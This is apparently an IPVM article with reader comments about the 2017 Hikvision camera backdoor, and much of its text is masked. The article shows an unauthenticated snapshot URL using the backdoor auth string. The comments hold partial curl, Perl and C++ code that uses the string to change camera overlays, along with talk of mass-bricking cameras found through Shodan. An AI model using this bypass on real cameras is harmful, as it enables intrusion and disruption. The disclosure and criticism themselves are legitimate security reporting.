Hikvision Backdoor Exploit

By: Brian Karas, Published on Sep 03, 2017

Full disclosure to the Hikvision backdoor has been released, allowing easy exploit of vulnerable Hikvision IP cameras.

As the researcher, Monte Crypto, who disclosed the details confirmed, this is:

a backdoor that allows unauthenticated impersonation of any configured user account... the vulnerability is trivial to exploit

Key points from IPVM's analysis and testing of the exploit:

  • The details prove how simple and fundamental the backdoor is.
  • The exploit is already being repurposed as a 'tool', distributed online.
  • A clear majority of Hikvision IP cameras remain vulnerable.
  • Hikvision's heretofore disclosure significantly misled its dealer to the severity of the backdoor.
  • Hikvision, again, has been silent, failing to inform and warn its dealers of this new disclosure.

Plus, IPVM has set up a vulnerable Hikvision IP camera so members can test and better understand the exploit.

Demonstration

We produced the following video, showing just how simple it is to utilize this exploit to retrieve an image snapshot and system information from a camera. We also show using password reset tool to take over a camera:

Inside this post, we examine how the exploit works, how it is being used, how what percentage of devices are vulnerable, and Hikvision's failure to respond to the exploit's release.

**** ********** ** ************ *********** **** ********, ******** easy ******* ** ********** ********* IP *******.

** *************, ***** ******, *** disclosed *** ******* *********, **** **:

* ******** **** ****** unauthenticated ************* ** *** configured **** *******... *** vulnerability ** ******* ** exploit

*** ****** **** ****'* analysis *** ******* ** the *******:

  • *** ******* ***** *** ****** and *********** *** ******** is.
  • *** ******* ** ******* being ********** ** * '****', distributed ******.
  • * ***** ******** ** ********* IP ******* ****** **********.
  • *********'* ********** *********************** ****** *** ****** ** the ******** ** *** backdoor.
  • *********, *****, *** **** silent, ******* ** ****** and **** *** ******* of **** *** **********.

****, **** *** *** up * ********** ********* IP ****** ** ******* can **** *** ****** understand *** *******.

*************

** ******** *** ********* video, ******* **** *** simple ** ** ** utilize **** ******* ** retrieve ** ***** ******** and ****** *********** **** a ******. ** **** show using ******** ***** **** to **** **** * camera:

****** **** ****, ** examine *** *** ******* works, *** ** ** being ****, *** **** ********** of devices *** **********, *** Hikvision's ******* ** ******* to *** *******'* *******.

[***************]

Magic ****** ********

********* ******** * ***** string **** ******* ******* access ** *** ******, regardless ** **** *** admin ******** ***. *** that ****** *** ********* **** string ** ********* ****** commands:

?****=************

** *** ********** ********* ** his **********:

******** * **** ** all ***** *** ***** roles: ****://******.**/********/*****?****=************ ****** * camera ******** ******* **************: http://camera.ip/onvif-http/snapshot?auth=YWRtaW46MTEK *** ***** ****** calls *** ** ************ in *** **** ***, including ***** **** *** new ***** ** ***** camera ********. ******* **** Hikvision ******* **** ******* firmware ****** ** ***********, one *** ***** ********* code ** ****** ******** of ********* ** ********* devices *********** ******** **** just *** ****** **** call. *** ***** ** all, *** *** ******** camera *************: ****://******.**/******/*****************?****=************

*** ********** ********* ****** with ******** ******** ** vulnerable ** ******** ******** or ********.********* ******** * ******** fix ** ***** ********** **** ***** **** 60%+ ** ********* ******* are ***** ********** (******** below). 

DHS ***** ******* - **.*

***' ******* ** **** vulnerability ** * **/** ** **** **** ************** now **** *** ********** of ************ ***** ******* has **** ******. **** vulnerability ** ************* **** critical **** ***** ****** cyber ******** ************* ** the ******** ******** (*.*.: ***** ******* ****** ***** Vulnerability***** / ***** ***************** ****** *************** **** Google ********** ********), *** ** *** ease ** *******, *** number ** ******** *******, and *** **** **** many ******** ******* (*.*., 'grey ******') ****** ** upgradeable ** ******* ********.

Hack *** ********* ******

**** *** *** * vulnerable ********* ****** ****** for ******* ** ********** with. ****** ******* ***:

****://*****************.******.***[****: **** **** ***** page **** ****** ***** password]

*******, ***** *** ******** string, **** **** *** matter ** *** *** simply ****** **************, *** example:

*** ** ************ ******** from *** ******: ****://*****************.******.***/*****-****/********?****=************

*** ************ ****** ****:****://*****************.******.***/******/**********?****=************ [****: *** ****** **** say "**** *** **** does *** ****** ** have *** ***** ***********”, look ** *** ****** info ******* ***** ****]

*** **** ******** ** ********* CGI ********, *** *** ****** *********** *********** ***** *******. **** **** ******** and *********** ** *** comments.

Planted, ******** ** ************?

*** **********, ***** ******, who *** ****** **** a ******** ************, **** Hikvision **** *** ****:

** *** * ***** of ***** **** ************* left ** *** ** developers

*******, ** ******** ****:

** ** ****** ********** for * ***** ** code **** ******* ** not ** ******* ** development ** ** *****, yet ** *** **** present *** *+ *****.

Vote / ****

Password ***** **** ***** ** ****

* **** ** ***** user ********* (********* *** admin ****) *** ******** within **** ** *** exploit ************. ********* ******** ***** ****** ****** * **** ** enter ** ** ******* for * ******, ******** of * **** ** users, *** *********** ***** the ******** *** *** user. ********* *** ****** code ** **** **** shows *** "****=************" ****** being ******** ** ****** user *********.

 

Tool ***** ******** ****

**** ******** **** *** just ** ****** *********** change *** ******** *****'* cameras. **********, **** ** literally *** **** ********** of *** ****, ********* the ******** ******* **************'* ******* ******** *****

300,000+ ********* ********* ******* ******** **********

**** ********* ***,***+ ******* are ******** **********, ***** on ****** **** ******* and *** ********** ******* of *** *************** ********.

****** **** *** ********* cameras ***** **** **** * million ***** ******:

~**% ** * ****** of ********* ** ***** devices ****** ** **** showed **** **** **********. Using ** ******* *** from *** **** ********** announcement, ***** ********* ***** be ********** **** ******** cameras, ******* ** ***** showed ******* *********** ********* areas, *** *********, *** other ********* **** ***** put ****** ** **** of ******* **** **********:

*** ****** *** *** name ******* ** "*****" with *** **** "****** by ******* *******" **** displayed ** *** *****:

OEMs **********

**** ******** *** **** found ** *** *******, we ****** *** ********* cameras *** ***** **** vulnerable:

  • *** *********-*** ** ******** V5.4.0build ******
  • ***** **** ****** - 0E-21BF40 -****** ** ******** V5.3.0build ******

***** ********* *** ******* are ****** ********** ** well, *********** ********** *** number ** ********** ******* online *************.

Hikvision ********** *********

*********'* **** ****** ************* ** ****, **** ** March ****, ************* ****** their *******:

*****, ********* ****** **** a "*********-********** *************", ******** an ******** ***** **** some ******* ********** ****** to *** ****** ****** they ***** "********" ***** privileges ** * ****** role. **** ** *****, as *** ******* ****** instant ****** ****** ** *** affected ******.

******, ********* ******* ** was **** ********** ** "fairly ******** *************", ****** scans, *** ****** *****, show **** **** ******* vast numbers ** *******, *** only *********** ***** **** the ******** *** ******* access ** *** ******.

*****, ********* ******* *** exploit "*** *****" ********* to "******* ** ****** with ****** ***********". *** tests, *** ***** ******* online, **** **** ** 100% ********** ** ******** devices, *** ****** *** just *********** ** "*********" with ****** ***********, ** allows **** ******* ** the ******, **** ********, and ***** ************* **** that *** ****** ********* information, **** ** ***** addresses, *** *** ****** info.

****** *********'* **** ************* to ****, ********* ********:

** **** [*** ****], Hikvision ** *** ***** of *** ******* ** malicious ******** ********** **** this *************.

Hikvision ** ********

***** *** ********* **** exploit ****** *******, ********* has **** ** ****** publicly *** ** ******* about ****, ******* **** *** release included direct ******** ******* *** to *** *** ******* ******, putting ********* ** *********** risk. **** ********** ******* ** ********* failing ** *********** *** responsibility *********** ********* ** *** material ***** ** ***** products.

Comments (109)

**** ********* *********,

*** ** *** **** to ********* ********* ********** to ** ******. **** a ****** ******* *** such * **** ******** clearly ***** ***** ******.

***** ** ** **** to ***** ******, *** management:

  • ** ********* ** ****** “#*” ** R&D, **** **,***+ ‘*********’, as **** *****, *** does ********* **** **** happen?
  • ** ********* ** ** ****** *** trust ** ***** ******** *** customers, *** ** **** *** proactively ****** **** ** *** risks **** **** ********** of *** *******?

******** *** ****** ** take *****, ****** *********:

#*) *** ** **** report ********* **** **** previous ****** ********* *** same ***** *****? ** am * ******* *********?

#*) *** ********* ***** the ******* **** *** latest *********?

#*) *** ** **** report ********* **** **** previous ****** ********* *** same ***** *****? ** am * ******* *********?

** *** ******** ******, the ******* ** *** vulnerability, *** *** ** exploit **, **** *** known. I* **** ******, *** actual ************* *** **** disclosed, *** ** ** extremely ****** ** *******. Any ********** ****** ********* to *** ******** *** be ****** ******, *** manipulated, ***** **** ********* as ****** ** * copy/paste *********.

#*) *** ********* ***** the ******* **** *** latest *********?

*********'* ****** ******** ** not ********** ** **** *******. ***** *********'* ******* cyber ******** ******, ** would ** ********** ** assume *** ****** ******** has ***** ***-**-**-********** *************** in **. ************, *** fact **** ***** *** hundreds ** ********* ** vulnerable ******* ****** ***** shows **** ****** ********* firmware **** *** ***** solve *** *******, *** need ** **** **** every ****** ** *******.

*** **** ********* (*** all ***** ************ *** that ******) ****** *** cameras **** * ******** flaw ** ******? **** cloud *** **** ******* have **** ********* *****'* a *** ** **** back ****** **'* * bad ****. 

***'* *** ****** **** a *** ** *** hikvision **** ****** ******* have **** ****** **** modified ******** ******* ** Hikvision's *******. *** ** they ****** ***** *** are **** *********** *** those? 

****** ******: **** ***'*. Reputable ************* *** **** tools (**** ******** ****) to ****-****** * ***** of *******, *** ***** aren't ******* ** ************ where *** *** **** dozens ** ********* ****** purchased ** *** **** of **** *****. **'* laborious ** ** ******** when *** **** * lot ** *******, ** updates *** ******* **** if **** **** ********* for **** ********. ** the ******* *** ****** the ******** ** ******** updates... ****, * **** they ***'*.

******* ** ** **** ancient **** **** **** was *********** ** ****** Basic ** *********, ** was *** **** *** to ****** *** ******* and ** **** ******* when *** ***** ** use **. ** **** for ***** *******.

***** ******* **** ***** actually **** ***** ** a ***** **** ** solve **** ******* *** that *** ******* **. for *******, **** ******* logs **** ***** *** or ** ****** **** get * ****** ****** "critical ****** ******"

** *** *** **** updates **** ***. ******** we *** ** ***** with **** *** ************ if *** **** ****** lost ***** **** * specific ******** *******. *** already *** ***** ******* in *****. ** **** release * *** *** click ****** ***. **** nice ** ****. * don’t ********** *** *** camera ************* ***’* *** this **** **** ** work. 

* **** ** ** environment ***** ** ******** have **** ***+ ********* cameras, *** ** * total ** **** *,*** cameras ** *** *******.

** ********* (***** * months) ***** *** *** firmware *** *** *** cameras, *** *** ****** control *******, ** **** - *** ********** ** have ** *** ** network.

** ******, ** **** monitor ***** **** ** this *** **** ** new *************** *** **** we ******* *** ************ for ** ********* ***** (if **** **** ***), or ** ****** **** develop *** (** **** don't).

** ****** - ** also ******** **** **** of ***** ** *********** our ****** ******** ******* on **'* *** ****, using ******* ******** *******, behind * *** *** we ***** **** ***** 'default *****' ** *** equipment.

**** ** *************. * have ** ***, ***** to *** ****** *** built **** ****. ** works.

**'* ******* ** ** that ********* ****'* ****** it ******** ***. **** need ** **** ********* new ******* *** ***** working ** ***** ********.

 

****** ** *** **** of ***** * ******** block, ******!

 ***** **** **** *** its *********** ** **** dealings **** ******* **** or *** **** ****** do *** **** **** Hikvision *********? * **** report **** * ** told ** ********* ********* to *** *****-***** *** I ***** *** **** someone **** * ********* is *** **** *** accusing **** ** *********** of ****.

#*, ** ****, ***'* *** to ****** *** *******. We **** **** ********* has**** ** '******* ********'** ***** ****** ************ on **** ********** (****** I ***** ******* *** is ****** *** **** we *********).

*** *** **** ** have **** ******* ****** and ******* ** **** companies.

***, *** ** *** you, **** **** ***** string ******** ******* ***? Why?

** **** *** ******* me **** * ****** bit. ** ***** *********** networks *** **** ******* BEHIND ***** ******** **** 99.9% ** **** *********** do. **** ** ******* example ** * ******** grabbing, ********** ***-*** **** really **** ** *****, sorry *** **** ** my **** ** *** ongoing '******' **** **** is ****** **** *** limited ************ **** **** have ********** **** *********. 

 

 

#*, *** *** * loyal *******.

***, ** *** **** to ******** **** ***** string ****** ** **** customers? ** *** ***** they **** * ***** to **** ***** **** magic ****** ********?

*******........ :)

*******........ :)

****'* *** *******. *** the ********* ****** *** publicly ****** *****. *** I ** ********* **** most **** ** ****** with ***** *********, **** though ********* ******* ** know ***** * **** this ******.

** **** ******** *** they (*** *** ************'*) need ** ** ****** at ****.  * **** if ******* *** *** hacked - *** ***** job ** ** ******* your **** - ****** can *** ******.  ** is **** *** ********* take **** **** ********* than **** **** ** the ****.  ** * had * ***** ******** college - **** ** the ***** * ***** encourage **** ** ***** asap!

 

**** **** - ***/*** silence ** **** **** direct ******** ** *******

******* *** ***** ***** us ** *********** **** article ** *** *******?

******* *** ***** ***** us ** *********** **** article ** *** *******?

**. ******-*********** ********** *****. ** ***** members (**** ************) ******** ****** *** * free ***** ** ****.

******* *** ***** ***** us ** *********** **** article ** *** *******?

****** * **** *** paste ***** ************* ** not *******, ** **** points ***, *** *** also *** *** "*-**** this" ****** ** *** top ** *** ******:

** *** ********* ** a ****** **** **** see *** **** ******, if *** **** ** least *** * ***** of **, (***** *****).

***** **** ** * 1-2 ***** **** *** invite *******.

**** ********** ** **** CHINA, *** * ** from **** **** *** part ** ** ******** China. *** **** ** that **** **** *** make ******** ******, *** that ***** ***** ** Security. *** ****** ** Hong **** ****** ***, they *** *** **** door *** *******.

****'* *** * *** easily ** **** **** the ******* **** **** are ***** ********** ****** change ** ****** ******* before.

** **** **** ******'* **** from ******* ********** *** hack **** ****** * LAN?

******* ******* ** ******** infrastructure ** * **** *******.

******* *** ** *** and *** **'* *********. They *** ***** **** interested ** ********** ***** they ***, ***** **** day *** *** ****** bursts.

***, ** **** **** definitely **** **** ****** the ***.

** **** ******* *** on * ********, ********** or ***-****** **** ** physical ***, ***'** ****. Larger ***** **** ** install **** ***.

** **** ******* *** visible ** ******** ****** your ***, ** *** can **** ****, **** any *** ****, ******** or ******** ******* *** can *** **** *******. Smaller ***** **** ** install **** ***.

***** *** **** ** exploit, ******** ****** ** moving ***** ******* **** firewalled ****'*. **** *** be **** **** **** layer-3 ******* ********, ***/** a **** ******** **** OPNSense ** ****.

****, ***** **** **** backdoor *** **********, ** malicious, *** ****** ******** block ******** ******* **** the ******* ** ****. This **** ***** *** "phone ****" ********.

*********** #*, **** **** rate ******* **** ** on *****. *** ***, that's *** * **** thing.

*** **.*% ** "****" integrators **** **** *** most ****** ******* **** from ******.

** ****** ***** ******* you **** **** ** the *****, ********* **** country, *** ******* ** this. *** *** ** exposed ** ****? ********, greed, *** **********. *** many ***-*** ************* *** going ** ** *******? How **** ** ** to ******* ******** ** all ** ***** *******? Everyone ***** **** ******* will ** *******. ***** installations ** *********, ***********, sensitive ******... *** ***** are ***** ** ** thousands ** *** ******** of ********* ** ******* compromised **** ******. * swear, ** ******* **** Hikvision ******** ** **** down/DDoS *** *********** *******... I'm ***** ** ** furious ** *** ** you *** ******* **.

* ***'* ********** *** people **** ***** ** undisclosed ********. *** *** seems **** *** *** working ** *********.

 

**** ** ***********, ** is *** **:

*- **** ** ****** in *** *****.

*- ******* ** *, but ******* *** *** same: ******* ** ******* instance paying ***'* ************, *** with * ******** ****** relations **** ** **** "one" ** *** **** of.

*- **** *** ** an ********** ***** ** choice.

 

***** *** ** **** others, *** * ***** it ** **** *** normal ** **** *** use **** ******. ** are **** ****** **** an ********, ****** ** make ****** ****.

 

**** ****** ** ***** one ******* **, *** specially ** *** **** testing *** ********** *** information.

** **** *** ******* me **** * ****** bit. ** ***** *********** networks *** **** ******* BEHIND ***** ******** **** 99.9% ** **** *********** do.

 ***...***** **** **/*** *** that ********** ****? *** numbers **** ****** **** a ********* ********* ****. ******...** you *** ***** ** bark, **** * ******* "bite" ****** **.

 ****** ****

** ******** *********** **** happen, ****'* *****.

*** ** *** *** a "********" **** ****, you **** ** **** sure **** **** ********* blackbox-testing-system ** ****** **** that **** ******** **** not ***** *** *********. It's ********** ** ** have **** ******* ** speed ** ***********, *** you **** ** **** sure (********* ***** **** great *** ****) **** your ******* **** ***** get's *** ** **** office.

* ***** **** ********* has **** *** ********/******* issues ****. ***** *** developers *** *** ***** what **** *** ***** when **** *** **** kind ** *********.

***...** **** ** * workaroung ** * *********, why ****'* ** *** something **** ** ******** like "****", "*****", "********", "superuser"? *** ****** ***** like ** ******* ****** to **** ** ***********, using * ***** **** random ******....

* ********** ***** **** this **** *** ******** for **********, ******* *** string ** *** *********** to ** *** ******* purposes ****. ** ******, I **** ** ***** for ****, **'* **** my ******** ******** *** my ********** ** ******** developer **** ***** ** that ********* ** ******* here. * ***** ***** choose **** * *********** string ** * **** to make ** *******/*********** **** **** (temporarily ** ******).

**** ** * *****

***...** **** ** * workaroung ** * *********, why ****'* ** *** something **** ** ******** like "****", "*****", "********", "superuser"? *** ****** ***** like ** ******* ****** to **** ** ***********, using * ***** **** random ******....

*** ************ ****** ** "admin:11" ******* ** ******.

**** ** * ****** approach ** ******** ********/******** combos **** ********** **********.

*** *** **** **** by ******* **** ****** into * ****** *******/*******, **** ** **** ***

***** *** *****, * missed ** ***** ****.

** * **** ** believe *** ***** ***** the ******** :-)

** **** *** **** authorization ****** ** *** basis *** ***** ******** reset ****, *** *** they ***** *** ***** string ** **** ******** from *******/***********?

*** ******** ***** **** is *** *********'*, ** is ** *********** ********** work, ***** ** *** of **** *******.

****** - **** *** Online

** *** *** ** our ********* *** ******* online ** ****** ***** to **** ******* **.

*** ****** ** ********** at:

****://*****************.****.***

******* ****:

*** * ******** **** the ******: ****://*****************.****.***/*****-****/********?****=************

*** ****** ****: ****://*****************.****.***/******/**********?****=************[****: *** ****** **** say "**** *** **** does *** ****** ** have *** ***** ***********”, look ** *** ****** info ******* ***** ****]

******* *****:

****, ***** ** ****** this **** *** ** getting *******, *** **** of **** *** ** allow ****** ** *** out **** ********, *** see *** **** **** exploit ** ** ***********. Please *** ** ******* from ******* ******** **** would ******* **.

**** ** *** ****** commands ******* *** ** do ** **** ***, and **** ** *** file. ***** *** ******* ways ** ** ****, but **** ** *** simple ******* ***** **** from * ******* ****:

*) **** * **** called "*********" *** *** the ********* **** ** it:

*** *******="*.*" ********="***-*"?> version="1.0" *****="****://***.***-***.***/*****/*********">***********> ********************> *********>

*) *** **** ** PUT *** ****, ***** with *** ****** *** to **** *** ********* function:

**** -* ********* ****://*****************.****.***/*****/********/*/*********?****=************

 

**** ****** ** ********* on ** * *** linux ******* ** *******, and *** ************ ** **** ****.

**** ** **** ******** in******* **********, *** ******** ** Windows **.

 **, * **** **** this **** ***** *** cameras *** *** ***'*/***'*, correct?

 

* ***** *** **** on * *** ********* DVR *** *** ** success.

***, **** ** ******** to ********* *******. 

***** * ***** **** is ******** **** ********* had **** *****, * think **'* ******** ********* that *** **** **** this **** ******* ******* and *** **** *** that ********* ******* ****** a ***** ** *** more ******* ****** ** the *******. 

********* *** ***** **** of *** ******:

**** ********** ** *** ********* ******** *** **** ********, ******** easy ******* ** ********** Hikvision ** *******.

*** **** ** *** first ******* ****** ** the ******:

*** ********** ********* ****** with ******** ******** ** vulnerable ** ******** ******** or ********. ********* ******** * ******** fix ** ***** **** ****** **** ***** **** 60%+ ** ********* ******* are ***** ********** (******** below).

******** ****** **** *** *****:

**** **, ********* ** even ****** *********** **** *****...

******* **** ******** *** rash ** ********* ** both *****:

****** ************* ******* *********** Testing ** **********'* ********?

**** ** *****!

**** ** *********** *** I **** *** ***** in *** *****. ** biggest ******** ** *** would ****** **** ***** cameras ******** ********** *** a ****** ** ** a **** ******* ******** to *** ******? **** in *** ***** ****** network ****, *** ***** this ****** ** ******** facing *** ***? * understand *** ********** ** security, *** * ***'* trust *** ****** ** really *** ***** *** device ** ** ******** accessed ** *** ***. I ********** ** ***** is ** ******* ** DVRs ** **** ******* those *** **** ***** configured ** ** ******** accessible.

* ***** ** **** point, ***** ************ ***** to **** **** * significant **** ** ***** budget ***** ** ** allocated ** ***** ***** security ******* ** ******** if **** ****'* ***** so *******. * ******* there *** ******** ******** in ***** ******** *** hackers **** ** ****** devices **** ***** ****** share. 

* ******* ***** *** probably ******** ** ***** products *** ******* **** to ****** ******* **** large ****** *****.

***** * **** ** agree **** **** *******, it ** ***** ******** out **** *** ******** of *** ***** ******** vulnerabilities ********* *** ******** from **** **** **** simplistic ** ******.

*** ************* ****, *** example, ** **** *** kind ** ***** *** would ****** **** ** early *****, *********** ******* that *** *** **** the ********* ** ******** address ***** ********.

********* ** ******** ******* when ** ***** ** cyber ********. **** **** statements ***** ***** ******** commitments, *** *** ** downplay ***** ********* ********, but **** ***** **** and *********, ***** ** no ****** *** ****** like ****-***** ************** ****** mechanisms ** ******** ********.

 

 

* ********** *****. ***** has *** **** ******. They *** ******* *** Onvif ******* *** **** when **** ******* *** other ***** *******, *** Onvif ******* ********** *** I ***** *** *** been ***** ** ** least ** ***** ************** is ****** **, *** camera ** ****** ***** in ** ********.

*** ******* **** ********* is **** **** ***** a ********* ******** **** fix ***** ******. *******, lip ******* **** **** so ***.

** ************ ***** ***** aren't ******  ******* ***** that *** ** ***** concern. *** ***** ******* is ******** ****** *** engineering *** ** **** of ****** ******** ********. It's ***** ***** **** a ****** *** ** teach ***** ************* *** to ******** ****** ***** devices ** ***** ***** circuits. **** *** ***** companies **** ***** ********* departments *** **** ***'* write ******** ***** *** when *** *** ***** specs, **** ***** ***'* know. *** ********** ****** needs ** **** *** pray **** **** *** system ** ********, **** it's * ***** ******. If ***, **** *** integrator **** ***** **** troubleshooting ** **** ******* quiet. 

* ***** *** **** reason **** *** *** been ******* *** *** is **** ***** ***** are ** ******* **** are ******** ** ** used *** ******** ** are ******* ** *** security ******** *** *** up ******** ********** *** secure.

***. 

******** *** *** ***** to ********** *** *****. Just *** *******.

* ***'* **** ** Dahua *** * "***** string" ******** ******. **** is * *** **** extreme.

**** ****** *** **** forward *** ******* **** to ** ** ******* it ****** **** ****** access ** *** ****** after *** ****. (** - ****** ******** ** the ******)

* *** **** *** from ********** ******* **** camera ** *** ******** that ******** * *** of ****** ***'* **** realize ***** ******* *** on *** ********.

* ********* ** ****** to ***** *** *** port ******** ** ***** things, ******* *** ****** in, *** *** ****. I **** ** **** forward ** *** ** was ******* ********* ******* UPnP (************* *** **) defaults ** ** ** my ******.

* ******* **'* *** same *** **** ** these *********** *****, *** their **********/***********, ** **** exist, ***'* **** *** better. ****'* *** ***** are ***** ********* ******** flaws *** ****** **** not *** ** ******* with **** ********.

**** ****!

***** *. *** * test * ****-**** ***** real *****?

** **** ** ** will *** *** ** stuck ** * **** or **** ** ************. If *** ***** ** will, ***** ** ** me *** * *** run ** ** * different ******.

**** **** *** **** command. ****** ** **** for ***** * ******. 

 

********** **** ** ******? It ***** **** *** Web-GUI ** **** *** no **** ****. 

***** ****.

*** *** **** *** code *** **** ** test ****?

*'** **** **** *** Curl *******. **** ** ****** much **** ***** *********'* API **** *** ****. My **** ***'* **** for **** ******* * have * ***** ***. 

**** -* *** ****://**.***.**.***/******/******/?****=************

**** -* *** ****://**.***.**.***/******/******/?****=************

* ***** ** ***** the **** *** ** the ******** ****

**** -* ****** *****************.****.***

***** *** **** **** zzfile ******** *** ******** XML *******

*** *** *** ********* result:

  % *****    % Received % *****  ******* Speed   ****    ****     ****  Current
                                 *****  ******   *****   Spent    ****  *****
  *   ***    *     0    *     *      *      0 --:--:--  *:**:** --:--:--     0/span> ****>
******** *****: ****** *** Allowed
****** *****: *** -- Method *** *********>
****** *** *** ********* by **** ******* ** this ******** *>
****>
****>
***   ***  ***   ***  100   ***    ***    ***  0:00:02  *:**:** --:--:--   ***

* **** ***** * POST ******* ****

**** --******* **** -* @zzfile *****************.****.***

*** *** *** ********* result:

���


        *****>
        charset=utf-8" />
        >
        />
        must-revalidate" />
        />
****>

****>

        ******.********.**** = "/***/****/*****.***?*" + (*** ****()).*******();
******>

**, * ***'* **** things ******* *** *** ...

*** **** *******, **** perl ********** ****** *** you ****** ***. *** reference, *** *** ** called ** ******* *** text *** **** ** overlay, ** * *** Y *** *** *** text, *** *** ** for *** **** (*..* , ********* *..*, ********* on ****** *****):

*** *********** {
** ($*******, $****, $****, $ID) =@*;
***** "******* **** $******* on ******...\*";

$***********='*** *******="*.*" ********="***-*"?>

'.$**.'**>
***********>
'.$****.'****>
'.$****.'****>
'.$*******.'*******>
***********>';

** $******** = $**->*******(*** 'http://'.$DeviceIP.'/Video/inputs/channels/1/overlays/text/'.$ID.'?auth=YWRtaW46MTEK',
************ => '****/***',
******* => $***********);

}

**** **** ****** *** overlays (***** ** ** alternate ****** ** ****** individual ******** ** ** as ****):

*** ********** {
   ***** "******** ******* text\n";
   ** $******** = $ua->delete('http://'.$DeviceIP.'/Video/inputs/channels/1/overlays/text/1??auth=YWRtaW46MTEK');

}

***** *** *** ***** formatting, **** ** *****.

 

*** **/*++ **** ** quite **** ***.

******** *** ******* ** OpenSource ******* *** **** OS (***.**.**).

****** * *** ******* and *** "** += network" ** **** .*** file.
****** ** ******** ** ********************* ("m_pManager" ** ** *******) and ******* *** "********" signal *** ****** ********** if ******.

.* ***********
*******:
   ********************** **********;

.*** ***********
****->********** = *** *********************(****);
*******(****->**********, ******(********(**************)), ****, ****(*************(**************)));

 

**** *.*. *** **** buttons ** **** ** and **** *** ********...

*** (********)

*************** *******;
*******.******(****("****://*****************.****.***/*****-****/********?****=************"));
****->**********->***(*******);

 

*** (*** ******* *)

*************** *******; *******.******(****("****://*****************.****.***/*****/******/********/*/********/****/*?****=************")); *******.*********(***************::*****************, "text/xml");
********** **** = "*** version=\"1.0\" ********=\"***-*\"?>***>***********>******>*******>****** IPVM *** **** **** demo ****!*******>***********>";
****->**********->***(*******,****);

 

*** *** *** *** "replyFinished"-Slot ** *****/******* ******* (e.g. **** ********* **** files ** **** ****** xml *********).

** ******, ***** * shell ** **** **** as *** ****** *****, but * **** *++ more :-)

 

 

** ******, ***** * shell ** **** **** as *** ****** *****, but * **** *++ more :-)

* ***** ******* * or *++. ***** ********* I ****** **** ****, but * *** **** pressing ****** ** **. The *** ***** * have *** ** **** a * *******, * was **** ** ****** out **** ** ** just ****** ** *** my *** ****.

** *** ***** **** to *** *** *** and *** ******** ******* in **/*++, *** * should ** **** ** make * **** ****** configuration ****... 

** ******* ******** **** code (** #*'* ****** request) **** **-***** ** Shodan ** ******* *********, It ***** ** **** to ****** (** *******) many ********* ** ******* worldwide. **** ********* ***** return ***** ******* ******* they *** "******" ** stuck ** ****** *****. 

**** ***** ***** *** financial ************ *** ********* if **** ******** ********* send **** ***** ******* or **** ********* ******* simultaneously. 

***** ***** *** ********* to **-******** **** ***** create :) 

** ******* ******** **** code (** #*'* ****** request) **** **-***** ** Shodan ** ******* *********, It ***** ** **** to ****** (** *******) many ********* ** ******* worldwide. 

******. * ***** * quick ****** ** *** through * ****** ****** and **** *** *****-**** URL. ******** **** **** intentions ***** ****** ******* a ******** ** ********* cameras, ***** ***** ****** cause * **** ** support *****, * **** of ***/*********** *****, ** maybe ****?

****** **** *** ********* thing ** **...

**** ***** ***** *** financial ************ *** ********* if **** ******** ********* send **** ***** ******* or **** ********* ******* simultaneously.

**** ****** *** ******** - *** **** ** these ******* *** **** market / ******* ********? I ***'* **** *** answer *** *****'* ********* many *** ***** ***** that ********.

*** ****** ****** ***** to ******* *** ************* date. ** ** ***** be ******** ** ****** only ******* **** *** in- ** *** ** warranty ** ******* ***** to **** ********* ** benefit **** *** *******. Of ****** **** **** not **** *** **** market *******. 

** ********* ***** *** this ****** ** **** cameras **** *** *** of ********, **** ***** be * **** **** to ***** ***** **** replacement *****.

********** ***** *** **** tool ** ******* ********* cameras ** ***** ****** (by *** **) ** trigger ******* *****.

***** **** ******* ** a ****** ***** ****? :) 

 

* ***** ****** ****** not ** ***** **** forum ** ********** **** to ****, **** ** otherwise ***** ************* ** Hikvision *** ***** *********. In *** *** *** people *** **** ***** cameras ********* *** **** normal ****** *** **** on *** ******* ** keep ***** ******** ******, watch ***** ******** ** for ***** ****** *******. If ******* **** *** advice ***** **** ** could ***** * **** inconvenience *** ******** ********* harm ** ********* ** unsuspecting *** ***** *** are ********** ******** 

*** *********** ** **** **** could ****** **** ****** the ***** **** **** to ***** **** ******** for *********. * ***** all *** **** ***** how ** ****** ********* scripts ** ***** **** destruction ** ********* ****** be *******. ************ ***** methods ** ******* **** such ** ******** ****** how ** ***** * camera ** ***** * reboot **** ****** ** deleted.

******* * ******* **** is **** ** ******* people ***** *** ******** in *** **** ******** but *** **** ** a ***** ***** ****** can ***** *** ** hack *** ***** ****.

 

* ** *** **** for ** *** ********* and **** **** ******* to ****, * **** think **** ** ********* here ** ***** *** could ****** ** ******* to **** ******.

* ***** *** *** talk ***** *** ** create ********* ******* ** cause **** *********** ** Hikvision ****** ** *******

** **** *** ****** one *** ** **** are *******. ****** ********* and ******** *** **** up **** **** ******** before * ****** ****** is ****** ****** ***** it, *** ***** **'* also ***** *** ** design ******** *** **** sure ***** *********** ** safe **** **** *****.

* ***** **** ** essay ** ***** ******** (*****://***.********.***/******/********/****/**/********************.****):

"******* ******** ****** **** accurately ********* ***** *** risk. ******* ********* ****** debate ***** ********, *** inhibits ******** ********* **** leads ** ************. ******* doesn't ******* ********; ** stifles **."

** ** ******* **-******** is ** ***** **** is ********* *** **** in *** ********. *** so **** *****, ****** really ***** *****. **** products *** * ******** risk *** ********.

***** ******** *** **** about ***** ** ******** by *** ****!

***** *****/******** **** *** talk ***** ***** ** checked ** *** **** if ******* ** ** home!

**** *** *** ** trusted "********" ******** ***** a *** ********** **** to *** ***** ** the ********. **** ***** products, *** **** ** bigger **** ******* *** products *********.

* ********** **** *****, but * ******* **'* much ****** *** *** whole ******** ** ******** the ********* ** **-******** to ***** * ***** where ** *** **** secure ********.

** *** *** * big ***** **** ***** everyone ** **** *** developers, *** - ** a **** - ****** that ** **** ********** will ******* ******* ********. The ******** ******** ** big ****** ***** **** this ** *** *** truth. *** ****** ** developers ** **** ** indication ** *** ***** that ***** ********** *** cause ** **** **** in **** *********.

* **** **** **** ongoing ********** ***** **** some *********** ***********, *** I ******* **** ******* will ****** ** ** do *** *** ** inform *** **** **** our ******** *** **** the ***-*********.

***** *** **** **** how ** ******* **** issues. ***** *** **** good *** ******** *** there. ***** *** ******* that **** *** *******/******* built-in, **** ******* *** to ********* ****** *********** to *** ********, ** matter **** ****** ***'** using ** ****** *** cameras. *** ******** ***** to ***** ** ***** IT-Security, **** ***** **** if *** ****** ******** cause * ********* ****.

**** ** * *****

#*, ****** *** *** feedback *** * ********** the *******.

*****, **** ** ******* damaging ******'* *********. **** is *** ** *** effectively *********** *** *** camera(s) *** *** ****.

